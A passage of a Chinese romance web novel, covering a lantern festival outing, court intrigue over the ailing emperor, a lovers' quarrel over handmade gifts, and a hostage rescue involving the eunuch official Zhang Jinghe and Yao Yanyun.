两人继续往前走,没多大一会儿,姚砚云从头到颈就缀满了金灿灿、亮晶晶的饰物。头上插着时下最兴的点翠簪、珍珠钗,耳垂挂着圆润的白玉耳环,脖颈绕着流光溢彩的宝石项链,手腕还套了两只錾花金镯,整个人亮得晃眼。 张景和站在一旁,只觉得她戴什么都好看,巴不得把铺子里的好东西都一股脑套在她身上,流水似的付钱也不心疼。 姚砚云自然是喜欢这些贵东西的,可摸了摸头上插着的四五个簪子,先不说好看不好看,也实在招摇了。她悄悄拉了拉张景和的衣袖,低声道:“太多了,太惹眼,万一被人盯上就麻烦了。” 说着,她让掌柜的把多余的首饰尽数包好,只在鬓边留了一支最简单的珍珠簪,这才满意地继续往前走。 一阵喧闹的笑语夹杂着竹篾摩擦声传来,抬头便见一家花灯铺被围得热闹非凡。 今晚有鱼灯盛会,这边的人看完鱼灯表演后,会亲手放一盏小鱼灯到河中祈福。铺子里坐满了低头忙活的男男女女,个个脸上都洋溢着开心的笑容。 “要进去玩玩?”,张景和侧头问她。 姚砚云本就知晓今晚的鱼灯盛会,即便没遇上这家铺子,她也打算买盏小鱼灯去河边祈福。如今刚好撞见,自然满心乐意:“好呀!” 伙计热情地领着两人挑选材料,姚砚云不光选了做鱼灯的彩纸、竹篾,还额外拿了些珍珠、小铃铛,打算再做一盏小巧的花灯。选好东西后,伙计引着他们在一张靠窗的桌子旁坐下。 做鱼灯不算复杂,竹篾早已扎好现成的鱼形骨架,只需糊上彩纸,再添几笔自己喜欢的图案便成。姚砚云手笨,试了两次,糊的纸要么起皱要么歪歪扭扭,实在算不上精致。她索性把彩纸推到张景和面前:“公公,还是您来糊吧,我负责画!” 她原先以为张景和只是随口陪她进来转一圈,未必真会动手,没想到他竟当真拿起彩纸和浆糊,低头认真忙活起来。阳光透过窗棂落在他侧脸上,睫毛投下浅浅的阴影,指尖捏着彩纸细细抚平,动作竟格外娴熟。 姚砚云看了会儿,忍不住叫了他两声,他却半点反应没有,直到第三声,才回过神来,抬眼看她。 “公公,您的手真巧!”,姚砚云真心实意地夸赞。 张景和‘嘘’了一声:“先别说话,糊这个得一气呵成,不然纸容易起褶,就不好看了。” 姚砚云: 没想到,他还玩的挺开心的。 两人一个专注糊纸、一个认真描画,不多时,两盏形态灵动的鱼灯、两盏缀着小装饰的花灯便大功告成,两人满脸笑意地走出铺子。 挤出喧闹的人群,前方忽然开阔起来,原来是一处名为兰亭的地方,临着一汪大湖,湖面波光粼粼,不少小舟在水中缓缓飘荡,船上人影绰绰,伴着阵阵笑语。 张景和问姚砚云:“要去玩吗?” 姚砚云连忙摇头,脸上掠过一丝怯意。 她晕水,更别提小时候因调皮摔进鱼塘的阴影,这种小小的船只,她是半分不敢踏上去的。她望着湖面,轻声说起往事:“公公,您不知道,我小时候太皮,不小心摔进了鱼塘里。自那以后,一看到流动的水就头晕心慌,那次真是吓坏了,那种窒息的恐惧,我到现在都记得清清楚楚。” 张景和道:“没想到,你也会有怕的东西啊。” “我又不是神仙,怎么可能天不怕地不怕。”,姚砚云撇撇嘴,又补充道,“要是当时我没胡乱揪着岸上的一把草爬起来,我当时就死掉了,您如今怕是见不到我了。” 张景和眉头一皱,连忙打断她:“呸呸呸!瞎说什么胡话,你这不是好好站在这儿吗。” 姚砚云笑了笑,语气轻松了些:“现在想想,我也是命大。那池塘看着浅,底下可深了,换成公公您,说不定也会怕。” 张景和道:“我会水。” 姚砚云愣了一下,有些意外。他一个成年累月待在宫里的太监,竟然还会游泳?她忍不住好奇追问:“宫里面还要学这个本领吗?” “不是宫里学的。”,张景和望着湖面的船影,像是回忆起了一段往事,“十五六岁的时候,我曾跟着去伺候,一位在前线监军的公公。那时候刚好是盛夏,军营旁有条河,就跟着几个老兵油子学了,一来二去倒也练会了。” 抬头看天,暮色已悄悄漫上来。两人往酒楼走去,想着吃过饭,鱼灯大会也该开始了。 鱼灯盛会的场地是在西淮河附近的翠碧街。这条街依河而建,两侧是鳞次栉比的商铺,大会的流程早已传遍全城,引得男女老少都往这边聚拢。 约莫戌时一刻,巷口响起一阵清脆的铜锣声,紧接着是咚咚锵锵的鼓点,只见翠碧街尽头的窄巷里,率先走出一队敲锣打鼓的艺人,红绸系着鼓身,随着动作翻飞。紧随其后的是,每六人为一组,手举一精心扎制的大鱼灯,有金红相间的锦鲤,有银鳞闪烁的白鲢,还有缀着流苏的彩鱼,灯内燃着烛火。 鱼灯队伍缓缓沿街而行,小伙子们踏着鼓点摆动鱼灯,时而排成整齐的队列,时而四散开来模仿鱼儿游弋,引得沿街观众阵阵喝彩。 所谓“凤箫声动,玉壶光转,一夜鱼龙舞”,说的大抵就是这般光景吧。 姚砚云和张景和挤在人群中,四周人声鼎沸,连呼吸都带着热闹的暖意。张景和护着她往人群里挪了挪,刚好站到一处视野稍好的位置。两人的目光一同落在眼前的表演上,满是愉悦。 不远处,一个小孩骑在爹爹肩头,小手拍得通红,嘴里不停嚷嚷。 “鱼,鱼,真好看。” “鱼,大鱼。” “鱼,鱼,爹爹给我买!” 姚砚x云目光扫过四周,人人脸上都挂着笑意,眼底盛着雀跃的活力,连空气里都飘着藏不住的欢喜。看着这满街热闹,她心里忽然一暖,莫名被深深触动。 她转头看向身旁的张景和,现场红灯笼的光晕落在他脸上,映得脸颊通红,她清晰地在他眼底看到了真切的笑意,这一刻,他不是宫里的大宦官,只是一个沉醉在烟火气里、单纯来看热闹的普通人。 她喜欢这样的时刻,她和他就像寻常朋友般并肩而立,没有利益纠葛,没有心机算计,只有纯粹的松弛与自在。 张景和察觉到她的目光,便问了一句:“怎么了?” 姚砚云笑了笑:“没什么,就是觉得……这样真好,真热闹。” 鱼灯表演落幕不久,夜空忽然炸开一片绚烂烟花。金红的光屑簌簌坠落,映亮了半边天,人群中又响起一阵欢呼。两人并肩望着漫天烟火,直到最后一缕光痕消散在夜色里。 随后,他们跟着人流往河边去。河面上早已漂浮着点点烛火,既有游人投放的河灯,也有各式小巧的鱼灯,随波轻轻晃动。 两人取出今日亲手做的鱼灯,张景和捏着火折子凑近,小心翼翼点上烛芯,姚砚云抬手拢着风。看着暖黄的光焰稳稳燃起来,映亮了鱼灯上的鳞纹,二人才一同松手,让鱼灯顺着水流缓缓漂向远方。 姚砚云望着那盏渐行渐远的鱼灯,忽然学起,她身旁放鱼灯小女孩的模样,双手轻轻合拢抵在鼻尖,闭眼许了个愿。 张景和瞧着她认真的模样,眼底浮起笑意,打趣道:“对着一盏灯许愿,也就骗骗你这种小姑娘。” 话音刚落,身旁的小女孩“哇”的一声哭了出来,瘪着嘴扑进娘亲怀里:“娘,你不是说对着河神许愿最准的吗?你骗我,我再也不相信你了,呜呜呜……” 孩子娘立刻瞪了张景和一眼,一边拍着女儿的背安抚,一边轻声嗔怪:“娘没骗月月,月月别理这种坏叔叔,乱说话的人娶不到媳妇的。”,说罢抱着小姑娘转身就走,走出几步还特意回头,又狠狠瞪了他一下。 张景和: 姚砚云见状,忍不住笑出了声,嗔了他一眼,拿起一盏花灯转身就走。 张景和望着她的背影,也提着自己那盏花灯快步跟了上去,脚步声轻缓地落在她身后。 两人行至一座石桥,桥上往来行人不少,许多人脸上都戴着各式动物形态的面具,姚砚云一眼就被桥边一个大伯的小摊吸引,凑过去细细挑选,她的指尖在兔子小猫小狗孙悟空猪八戒面具上轻轻划过,眼神里满是犹豫。 见姚砚云选半天都选不出来,张景和道:“全部买下来不就得了,也费不了几个钱。” 姚砚云不理他,依旧低头认真挑。 张景和见状,随手拿起一个猪八戒面具,递到她面前:“你看这猪八戒,脸白白胖胖的,跟你倒有几分像,这个最合适你。” 姚砚云: 后面姚砚云挑了一个小狗的,张景和挑了一个小猫的,两人提着花灯、揣着面具,一同上了马车,准备回雅园。 姚砚云一早便出了门,疯玩了一整天,此刻早已累得眼皮发沉。马车缓缓前行,摇摇晃晃的节奏格外催眠,她不知不觉就靠在车厢壁上睡着了,小脑袋随着马车的颠簸轻轻晃来晃去,张景和犹豫了很久,还是挪了挪身子,将自己的肩膀递了过去,让她稳稳靠着—— 作者有话说:凤箫声动,玉壶光转,一夜鱼龙舞出自:辛弃疾《青玉案元夕》 第69章 之后的五日,姚砚云与张景和仅在晚间偶尔得闲共餐,其余时候,张景和皆为盐务的事情忙着。十日时光说快不快,说慢也慢,待车马碾过熟悉的青石板路时,两人已回到了京师。 姚砚云从西州带了不少特产,一回踏月轩,先是把这些特产分给院子里面的人,又和马冬梅、小元絮叨起西州的见闻。 絮叨完又觉困倦,回房补了一会儿觉,次日一早就带着包装精致的特产,往冯府看望芸娘。 “你这孩子,怎么买这么多。”,芸娘看着桌上堆叠的食盒与布包,“这得吃到什么时候。” 姚砚云挨着她坐下:“这些都是我和公公一起给你挑的,你觉得合适的就留着吃,留着用,不合适的你就送人。” 芸娘笑着问:“西州好玩吗?玄英有陪着你吗。” “好玩是好玩,就是没玩过瘾。”,姚砚云想起十日里的光景,语气里有些遗憾,“我去玩冰床的时候扭到脚了,后面那四日都在屋子里面呆着。” “在那边十天,他就陪我出去转了一天。” 芸娘一听,嗔怪地叹了口气:“这玄英也是,明明是自己去办要紧事,偏要把你带在身边,一路舟车劳顿的,到了地方又顾不上你。”,话刚说完,她又忍不住笑起来,伸手拍了拍姚砚云的手背,眼底满是温和的笑意,“不过啊,依我看,他定是舍不得大半个月见不到你,才非要带你一起去。” “看来玄英是把你放在心上了。” 姚砚云: ———— 张景和刚踏入司礼监的值房,陈秉正便急步迎上来,和他说了一件大事,前天夜里,景隆帝竟在懿嫔床上晕死过去了,若不是太医院的人拼了命施救,这会儿宫里怕是已经要办国丧了。 张景和心头猛地一沉:“那现在是什么情况?” “万岁爷还在乾清宫养着,只是精神差得很。”,陈秉正眉头拧成一团,声音压得更低,“懿嫔已经被皇后娘娘下令禁在偏殿了,这事被封得严严实实,除了皇后、内阁几位大人,还有咱们司礼监的,外头连个风声都没透出去。” 这话听得张景和后背渗出一层冷汗,他不敢多耽搁,转身便往乾清宫赶。踏入寝殿时,殿内烛火昏沉,龙床帐幔半掩,他快步上前跪在床侧,抬眼便见景隆帝面色蜡黄如纸,眼窝深陷,显然还在病中挣扎。 景隆帝闻声缓缓转眸,认出是他,手突然攥住张景和的衣袖,急切地道:“张公公……你得帮懿嫔……帮她啊……他们……他们要杀她……” 张景和: 张景和喉间发紧,一时不知如何应答,只能先稳着声线劝:“万岁爷,您身子要紧,先莫激动,仔细伤了元气。” “我要懿嫔,我要懿嫔……让她来见我……”,景隆帝气息愈发急促,攥着他衣袖的手却越收越紧。 张景和正琢磨着如何再劝,殿外忽然传来脚步声,伴着太监的通传,皇后带着十岁的太子来了,手里还亲自端着一碗冒着热气的汤药。他不敢再留,忙躬身退到屏风外候着。 没等片刻,冯大祥也匆匆赶来,见了他便使了个眼色。两人走到无人处,把景隆帝病倒之事,一五一十和他说了。 前天晚上景隆帝去了懿嫔那处,懿嫔说得了一种能助两人快活的丸药,景隆帝当时没多想便吃了,吃下去后,上半夜倒是没出什么大事,后半夜两人又准备行礼时,又吃了一颗,半个时辰后,景隆帝突然流起鼻血,身子软得像没了骨头,转眼就晕了过去。” 皇后娘娘当即就派人把懿嫔拘了,一审才知那药是懿嫔从一个商人手里买的。再问她怎么知晓这药的来历,怎么得到这药的,懿嫔却支支吾吾说不上来,只把宫里一个主事太监推了出去顶罪,可没等再审,那太监就寻了短见,在牢里自缢了。” 冯大祥一脸严肃道:“懿嫔想邀宠,这事明眼人都看得出来。可这次的事,绝不是她一个人能折腾出来的,经过上次娈/。童之事后,懿嫔身边的人全都换成我们的了,所以这事定然还有人在推波助澜。锦衣卫那边已经查到些眉目,这事就交给你了,务必把那个卖药的商人抓回来,只要抓住他,就能顺着线摸到幕后之人。” 张景和深吸一口气,压下心头的波澜:“明白。” 冯大祥又深深看了他一眼,确认他领会了其中利害,才理了理衣襟,转身离去。 张景和又顺着宫道返回乾清宫。刚到殿外石阶下,就见内阁几位大臣正簇拥着皇后往外走,想必x是刚在殿内给景隆帝请过安了。 内阁首辅高义忽然往前迈了一步,脸上满是厉色,目光直直射向皇后:“娘娘身为一国之母,当知‘后宫不得干政’是太祖立下的规矩!方才在殿内,娘娘当着陛下的面说那些话,要是传了出去,是要让天下人笑话我大启无规制,还是要让太子落个‘倚仗母后、不懂朝政’的名声?” 皇后脸色瞬间变得难看,却依旧维持着端庄仪态:“高大人这话未免偏颇。陛下方才特意嘱咐太子要多听谏言,本宫是太子的生母,说一句‘会陪着太子、帮他分辨是非’,难道也犯了规矩?还是说,在高大人眼里,本宫连护着自己儿子的资格都没有?” 高义重重“哼”了一声。 站在高义身后的四位次辅你看我、我看你,个个面露难色,一边是手握实权的首辅,一边是名分尊贵的皇后,谁也不愿轻易得罪。倒是次辅方明毅犹豫了片刻,还是上前半步打圆场:“元辅息怒,娘娘也莫动气。元辅也是担心陛下龙体、忧心太子前程,才失了些分寸,娘娘心系太子,也是为人母的常情,这话本就没什么错处。” 可高义像是没听见他的话,只冷冷瞥了眼立在一旁的张景和,那眼神里满是鄙夷。仿佛在看一个只会依附权贵的蝼蚁。随后他甩了甩袖子,头也不回地往宫外走。 高义身为内阁首辅,向来是独断专行、目中无人的性子。早在景隆帝还是端王时,他便是帝师,后来景隆帝被立为太子,高义又顺理成章地成了太子伴读,一路追随,深得信任。 待景隆帝登基,高义坐上首辅之位,更是权势滔天,越发没了顾忌,别说一个秉笔太监,就连当今皇后,他也是该直言便直言,该冷待便冷待,半分情面都不留。 张景和一大早就进了宫,直到酉时末才拖着一身疲惫回府。 他一天都没吃过什么东西,回来先匆匆用了顿饭。姚砚云听闻他回来了,便过来想告知他给芸娘送特产的事。 一进房门,她便絮絮叨叨说个不停:“公公,给芸娘的特产我已经送去了,她可喜欢了。”,见他神色倦怠,又忍不住问,“公公,您怎么看着这么累?”,末了还补了句,“您方才吃过饭了吗?” 张景和觉得她话多的不得了,可他愿意听,宫里一日的劳顿仿佛被这鲜活的念叨冲淡了些,心里竟生出几分暖意。 他淡淡应了声“吃了”,目光落在她脚上:“之前扭伤的地方,该好了吧?” “差不多了,就是走路还稍微有点拐,不打紧的。”,姚砚云答道。 张景和随手拿起桌上一盘糕点咬了口,姚砚云见状,也跟着拈了一块放进嘴里。 “没你做的好吃。”,他忽然开口。 姚砚云一愣,指了指自己:“我?” “在宫里的时候,你不是变着法子给我做糕点?这就忘了?”,张景和带点小得意抬眼看她。 姚砚云这才恍然,随即又面露窘色:“哦,那些……不是我做的。” 话一出口她就暗道不好,果然对上张景和疑惑的目光:“不是你做的,那是谁做的?” 姚砚云支支吾吾:“是冬梅做的” “送了那么多,全是她做的?”,张景和追问。 姚砚云讷讷点头。 “你一次都没动手过?” 她又点了点头,不敢看他的眼睛。 张景和只觉得一股气堵在胸口,先前还觉得她一片诚心,明明被自己拒绝了那么多次,还是不要脸地撞上来,他都差点感动了,谁知竟一块都不是她亲手做的! 他扯了扯嘴角,发出一声冷笑:“无妨,反正我一块也没吃。是谁做的,本就无所谓。” 姚砚云见状,连忙补救:“公公您要是觉得好吃,我明日就让冬梅给您多做点?” “这府里什么山珍海味没有?我还缺这点糕点?”,张景和嗤笑一声,语气里满是不屑。 姚砚云道:“也是。” 不过她还是看出了,他脸上有些不开心的样子,她在心里暗自嘀咕,只要做得好吃,谁做不都一样吗?反正都是吃下去肚子的东西。 张景和端起茶杯喝了口茶,指尖摩挲着杯沿,忽然像是想起了什么,抬眼看向她:“那双靴子,总该是你做的吧?” 姚砚云心里咯噔一下,下意识想骗他是自己做的,可转念一想,万一张景和让她再做一双,她压根不会,到时候更难堪。 她咬了咬唇,如实说道:“不……不是我做的。” “又是马冬梅做的?”,张景和的声音沉了下来。 姚砚云勉强挤出一丝笑:“是她……” “你……”张景和气得胸口起伏,看着她半天说不出话,“姚砚云,真有你的!合着给我送的东西,全是别人做的,你就这么敷衍?” “我这不是不会吗……”,姚砚云急忙解释,“要是做得不好,怕你嫌弃,才让冬梅帮忙的。” “出去!给我出去!”,张景和懒得再听她辩解。 姚砚云不敢再多说,匆匆退了出去。 深夜,张景和辗转难眠,起身走到柜子前,取出一个精致的木匣。他打开木匣,里面是那双被他珍藏得好好的靴子,那日从宫里带回来时,他还满心欢喜,特意让富贵找了最好的木匣装起来。 可此刻看着这双靴子,他只觉得讽刺! 他扬声把富贵叫了进来。 富贵闻声连忙赶来,见老爷拿着那双靴子,一脸不解:“老爷,你这是……” “扔出去!把这东西给我扔出去!”,张景和将靴子狠狠塞到他手里,脸色沉得能滴出水来。 富贵彻底懵了,这靴子老爷先前明明宝贝的不行,他还记得那日,老爷从宫里拿了一双靴子出来,还特意叮嘱要找最体面的匣子装好,怎么今晚忽然就要扔出去了? 富贵问:“老爷,这靴子不要了吗?” 张景和狠狠瞪了他一眼:“你听不懂人话啊,扔出去,扔出去!” 富贵无奈,只能拿出去扔了。 看着富贵捧着靴子离去的背影,张景和烦躁地踱了两步,胸口的闷气却怎么也散不去—— 作者有话说:昨晚没更,所以今晚早点更,明晚不见不散[三花猫头] 第70章 杏花楼里,方淑惠攥着帕子,一脸焦灼地看向身旁的方淑宁:“堂姐,你当真确定,温公子今日会来这儿?” 这温公子是方淑惠父亲为她物色的女婿,她父亲把他夸得天上有地下无,可方淑惠偏不信这空口白话,只认眼见为实。温公子在翰林院任编修,不知方淑宁从哪儿打探来的消息,说他今日会来杏花楼与同窗叙旧,特意拉着方淑惠来提前瞧瞧,看是否合她心意。 姚砚云在一旁吃着果子,陪她们等。 没过多久,楼下传来脚步声,三个身着官服的年轻公子并肩走了进来。方淑宁眼睛一亮,立刻用胳膊肘碰了碰方淑惠,压低声音指了指中间那位:“喏,那位就是温公子。” 方淑惠顺着她指的方向望去,只匆匆看了两眼,脸颊便腾地红透,连忙收回目光,坐回座位上,连头都不敢抬了。 她抿了抿唇,只对着两人细若蚊蚋地说了句“长得还行”,便再也不肯多言,耳根子还泛着淡淡的红晕。 三人随意谈天说地了一阵,方淑惠忽然话锋一转,看向姚砚云:“姚姐姐,你是心甘情愿跟着张公公的吗?” 她也是在姚砚云去西州这段时间,才从方淑宁口中得知她与张景和的事。先前方淑宁没说,是知道她对宦官向来心存芥蒂。 姚砚云被问得一怔,一时不知该如何作答,只淡淡笑了笑。 方淑惠一脸认真,语气带着真心的关切:“姚姐姐,你要是不愿意,我和堂姐都能帮你。我伯父可是内阁次辅,总有法子的。” “不用了……这样挺好的。”,姚砚云有些不自然地说道。 方淑惠哪里肯信,这般容貌出众、性情温婉的姚姐姐,怎么会心甘情愿跟着一个太监?定是被张景和逼迫的。她急声道:“哪里好啊?” 是啊,哪里好呢?姚砚云自己也说不清楚,可心里偏觉得这样的确不错。 他那么有钱,若是真的跟着他,自己能衣食无忧,不用经历生儿育女的苦楚,也不必日日提心吊胆,怕丈夫纳妾、后院争风吃醋。这些心思,即便说给方淑惠听,她也未必能懂,她们本就不是一个世界的人。 可刚冒出这念头,姚砚云便偷偷掐x了自己大腿一把。难不成是自己脑子糊涂了?她跟着张景和做什么!两年之期一到,她便收拾包袱远走高飞,到时候想怎么快活就怎么快活! 她顿了顿,轻声道:“反正也只能这样了,先过着吧。” 末了,又极小声地补了一句:“……反正,不讨厌他。” 这时方淑宁开口解围:“子非鱼,安知鱼之乐?人家的事情,你少瞎操心。” 方淑惠今年十六岁,自小在既定的规矩里长大。到了年纪便由父母做主成婚,成婚后便要相夫教子,做个贤妻良母,这便是她认知里女子该走的路。 她哪里能理解姚砚云的想法,只嘟囔着:“可姚姐姐这么好看、这么好的人,张公公实在配不上她啊。” 方淑宁懒得听她再絮叨,找了个“时辰不早”的由头催着要走。转头一看,那边温公子几人也已起身离去。 此时饭点早已过了,酒楼里的客人寥寥无几,三人便也收拾妥当,准备一同下楼离去。 忽然,楼下传来一阵嘈杂的吵闹声,紧接着是孩童撕心裂肺的啼哭,随后又混入一个女子崩溃的哭声。三人连忙扶着栏杆往下望去,只见一个穿灰衣、脸上蒙着黑布的男子,一手抱着个约莫六七岁的小女孩,另一手握着匕首,死死抵在孩子纤细的脖颈上,刀刃已隐隐泛着寒光。 三人顿时吓得花容失色,浑身发颤。 还没等她们缓过神,楼梯口突然冲上来一个穿着黑衣的蒙面人,手提大刀,凶神恶煞地堵在楼梯口,对着二楼众人厉喝:“谁要是敢下楼,坏爷爷的好事,爷爷直接砍了他的脑袋!” 二楼此刻还有五六桌客人,多是文弱书生和妇孺,见状无不吓得魂飞魄散,缩在座位上不敢出声。 姚砚云和方氏姐妹吓得不行,趁蒙面人不备,偷偷溜到一间包间的露台上躲了起来。低头往下一看,方才挟持孩子的穿灰衣蒙面人已抱着孩子走到了酒楼门外,而杏花楼四周,早已被一群锦衣卫围得水泄不通,刀光剑影,气氛凝重。 “各位大人,放小的一条生路!”,灰衣蒙面人对着锦衣卫像是哀求又像是威胁,“给我们三匹快马,让我兄弟三人走,不然这小姑娘的命,今天就交代在这儿!” “这小姑娘的命留不留,你今日都必死无疑。” 话音刚落,锦衣卫人群中缓缓走出一人。姚砚云定睛一看,竟是张景和。 那灰衣蒙面人见状,突然转向围观的百姓大声嚷嚷:“大家都来看啊!这就是官府!他们根本不管百姓死活,要眼睁睁看着这孩子死啊!” 围观的人群顿时躁动起来,议论声此起彼伏。 张景和勾起一抹阴恻恻的笑,语气冰冷:“你现在束手就擒,本官可以留你们全尸。你不会真以为,我会在乎一个不相干的小姑娘吧?” 灰衣蒙面人眼神一狠,嘶吼道:“好!那我就成全你!酒楼里还有十一个人,全被我两个兄弟控制着,我现在就一个个杀给你看,让京城百姓都看看你们官府的冷血无情!” 张景和仿佛听到了天大的笑话,嗤笑一声:“那你尽管杀,看看是你刀快,还是我身后这些兄弟的刀快。”,他向前半步,语气愈发凌厉,“识相的就乖乖放下刀,给自己留个体面全尸。” 灰衣蒙面顿时没了声响,只死死抱着孩子,匕首依旧抵在她脖子上,眼神中满是挣扎与狠戾。 露台上,三人一直低着身子不敢出声。方淑宁见楼下忽然没动静,忍不住悄悄起身探头去看,恰好被抬眼巡视的张景和瞥见。张景和脸色一变,立刻用手势示意她赶紧蹲下躲藏,可方淑宁早已吓得魂不守舍,只顾着对着他连连打手势,哀求他救命。 这一幕,恰好被守在楼梯口的穿黑衣蒙面人看在眼里。他料定方淑宁认识楼下的锦衣卫头领,立刻冲过去一把揪住她的胳膊,粗暴地将她拖下楼。 黑衣蒙面人把吓得瘫软的方淑宁带到门口,推到身前,对着张景和狞笑:“这位大人,这个姑娘你也不在乎吗?方才她可是对着你苦苦求救呢!” 张景和的脸色瞬间沉了下来,方淑宁是内阁次辅方明毅的女儿,她要是出事,方明毅定然不会善罢甘休。可他心里清楚,此刻越是示弱,对方越是得寸进尺。而且这伙人今日若是逃了,他自己的脑袋也保不住。 黑衣蒙面人见他不语,眼中凶光毕露,手中的刀又往方淑宁的脖子上贴近了几分,冰冷的刀刃让她忍不住瑟缩发抖。 “做人做成你这样,也真是够失败的。”,张景和缓缓开口,语气里满是嘲讽,“就你这怂样,也只敢欺负女人和孩子罢了。” 这句话彻底激怒了黑衣蒙面人,他猛地转头,狠狠瞪着方淑宁,厉声呵斥:“臭婊子!你不是认识他吗?快求他救你!让他安排马!不然现在就杀了你!” 方淑宁早已哭得上气不接下气,浑身颤抖着:“我……我确实认识他,可我连他的名字都不知道,只是在宴会上见过几面而已!刚才在楼上打招呼,只是……只是求生的本能啊。” 黑衣蒙面人冷笑一声,眼中杀意尽显:“好啊,既然没用,那就先送你上路!”说罢,手中的刀又逼近了几分,已然划破了方淑宁脖颈处的肌肤,渗出一丝血珠。 张景和瞥见他眼底那同归于尽的狠戾,心头一沉,缓声道:“这样吧,我给你一匹快马,让你独自离开。你该懂,我也要向上面交差,这样算给彼此留条退路,我保你平安出城。” 蒙面人眼神一动,显然是动了心。 可就在这时,酒楼里忽然冲出另一个穿灰白色衣衫的黑衣人,脸上同样蒙着黑布,神色已然癫狂,他在里面早已等得不耐烦,方才为了示威,已经杀了两个在酒楼吃饭的人,此刻早已杀红了眼。 他心里清楚,锦衣卫绝不会真的放他们生路,索性决定再杀一人,便自行了断,也算向官府报了仇。 当姚砚云被他粗暴地拖拽着,踉跄着摔在酒楼门前时,张景和只觉得脑子里“嗡”的一声,眼前天旋地转。 是啊,他早该想到,方淑宁怎会独自在这边吃饭。 灰白色蒙面人显然死志已决,左手死死钳住姚砚云的胳膊,右手的刀狠狠架在她白皙纤细的脖颈上,刀刃已然嵌进皮肉,一道刺目的血痕瞬间绽开,温热的鲜血顺着她的脖颈往下淌,浸湿了她胸前的衣襟。 姚砚云浑身发软,双腿像灌了铅似的几乎站不住,全靠灰白色蒙面人拽着才勉强不倒。 她不想死,可看到张景和依旧挺直的脊背,没有半分退让的样子,可脖颈上的刀刃又冷又硬,只要黑衣人再稍一用力,她的性命便要交代在这里。她强忍着喉间的颤抖,定定地望着张景和,声音带着哭腔:“这位大人,我可是个好百姓啊,平日里遵法守纪,从没做过半点坏事啊!您不能见死不救啊……” “我家里人还等着我回去吃饭呢。” “大人” “大人” 张景和:…… “你给我闭嘴!”,灰白色蒙面人不耐烦地低喝一声,手上的力道又重了几分。 姚砚云吓得浑身一颤,只能强压着恐惧,声音发颤地劝道:“大哥,大哥,你先别冲动,眼前这位大人都愿意给咱们活路了,说不定事情还有转机,咱们没必要走到同归于尽的地步啊……” 张景和强行压下心头的惊涛骇浪,喉结滚动了两下,强装镇定道:“围观的百姓越来越多,再僵持下去,只会让大家误会官府不顾百姓死活。这样,我给你们备三匹快马,放你们兄弟三人走。” 灰白色蒙面人嗤笑一声,语气满是不屑:“别装模作样了,你们这些狗官,怎会真让我们活着离开?今日之事,我认了!”,他说着,手中的刀又往下压了压,姚砚云疼得瑟缩了一下,眼眶更红了。 张景和当即转头,对着身后的锦衣卫高声吩咐:“速去刘炆那边取三匹快马过来!越快越好!” 那名锦衣卫见状,不敢耽搁,立刻点头领命,转身快步离去。 听到这话,灰白色蒙面人攥着刀的手微微松了松,眼底的死志渐渐淡去,多了几分对生的渴望。他缓缓收回压在姚砚云脖颈上的刀,却仍死死扣着她的胳膊,警惕地盯着周围的锦衣卫,不敢有半分松懈x。 张景和面色平静:“本官向来说一不二,既答应送你们上路,自然言出必行。马,很快就到。” 时间仿佛被灌了铅般沉重,每一分每一秒都过得格外缓慢。 约莫一刻钟过去,就在那两名蒙面人按捺不住,几乎要开口催促时,两道破空声忽然划破了寂静—— “咻!咻!” 两支利箭如流星般疾射而来,不偏不倚,正中两个蒙面人的眉心!他们甚至来不及哼出一声,便直挺挺地倒在了地上,眉心的血窟窿里,鲜血正汩汩往外冒,很快便在青石板上积成了一滩暗红的血泊。 方淑宁惊悸之下,身子一软便直直晕了过去,姚砚云则如遭雷击,整个人失了魂魄般僵立原地,片刻后便双腿一软,重重跌坐在地。 张景和快步走过来,伸手将姚砚云轻轻扶起,姚砚云下意识地抓住张景和的手臂,声音里还裹着未散的惊惶:“公公,我,我” 话音未落,一名锦衣卫匆匆上前,凑到张景和耳边低声禀报了几句,张景和闻言,眉头微蹙,便转身快步离去。 姚砚云望着他的背影越走越远,直到彻底消失在街道拐角,她像被抽走了魂魄般,怔怔站在原地。 过了许久,她才缓缓蹲下身,双手环抱住膝盖,低声哭了起来—— 作者有话说:明晚10点半见哈《 》 70-80 80-90 第81章 帝皇的陵寝,许多帝王自登基那日起,便会启动陵寝的修建工程。景隆帝的陵寝亦不例外,早在他登基之初,这修建工程就开始了,选址是在京师郊外一处名为“华山子”的地方——这里正是本朝历代帝王陵寝的聚集地,依山傍水,藏风聚气。 陵寝修建与维护之事,容不得半分马虎。按照规制,每半年需派专人前往巡视督查,这项差事原本一直由冯大祥负责。这些时日又到了巡视的日子,张景和却主动将差事揽了过来,只说冯大祥腿有旧疾,行动不便,不如由他代劳。 冯大祥一想,自己这干儿子办事向来稳妥,自己腿上确实有些不适,便爽快地将差事交托了出去。 张景和在华山子已住了一月有余。此地远离京师的喧嚣,倒让他觉得难得清净,每日去陵寝转上一圈,检查砖石、木料的完好与否,午后便回驻跸的皇家庄子歇着,或在窗前读几卷旧书,或对着庭院里的枯荷发会儿呆,日子过得清淡又安稳。 这庄子虽地处郊野,景致却还不错,算得上是幽静。 在这边修身养性是最合适不过了。 这日正午,富贵提着食盒来送午饭,放下碗筷时,忍不住多嘴提了一句:“老爷,方才庄子的管事来问,说后山有处天然温泉,常年水温适宜,还能祛寒养生,问你要不要去泡一泡解解乏?” 庄子后山藏着一处天然温泉,水质清冽,打理得洁净雅致。四周山景清幽,风光甚好。只是看管庄子的人见前来的公公神色冷峻,自带一股威严,竟没敢上前邀约,只好寻来富贵,托他代为转达这份心意。 张景和却只是漫不经心地摆了摆手,声音里没什么起伏:“不去了,挺没意思的。” 富贵发现这一月来,自家老爷脸上总带着几分闷闷不乐,往日里虽也清冷,却从没有这般脸色难看的时候,细细想来,他跟了自家老爷这么久,还是第一次看到他这样。 富贵心里犯嘀咕,却也不敢多问,只想着或许泡个温泉能让老爷舒展些,既然自家老爷说不去,他也不敢再劝,只能悄悄退了出去。 那日被张景和吃了豆腐后,姚砚云已经一个多月没见过张景和了,这一个多月里,张景和既没遣人送来半分物件,也无片言只语捎来,姚砚云暗自揣测,许是他在宫中事务繁杂,无暇顾及自己。直到不久前,从外地归来的芸娘告知她,张景和实则是奉命前往京郊巡视陵寝,她才明白是怎么回事。 这日午后,姚砚云正和芸娘在院子里坐着,喝果酒,不多时,冯大祥便从外面回来了 与两人寒暄了几句,冯大祥才转向芸娘道:“明日我得去一趟华山子陵寝。 芸娘道:“这事不是该玄英在那边盯着吗?他去了也有些日子了。” 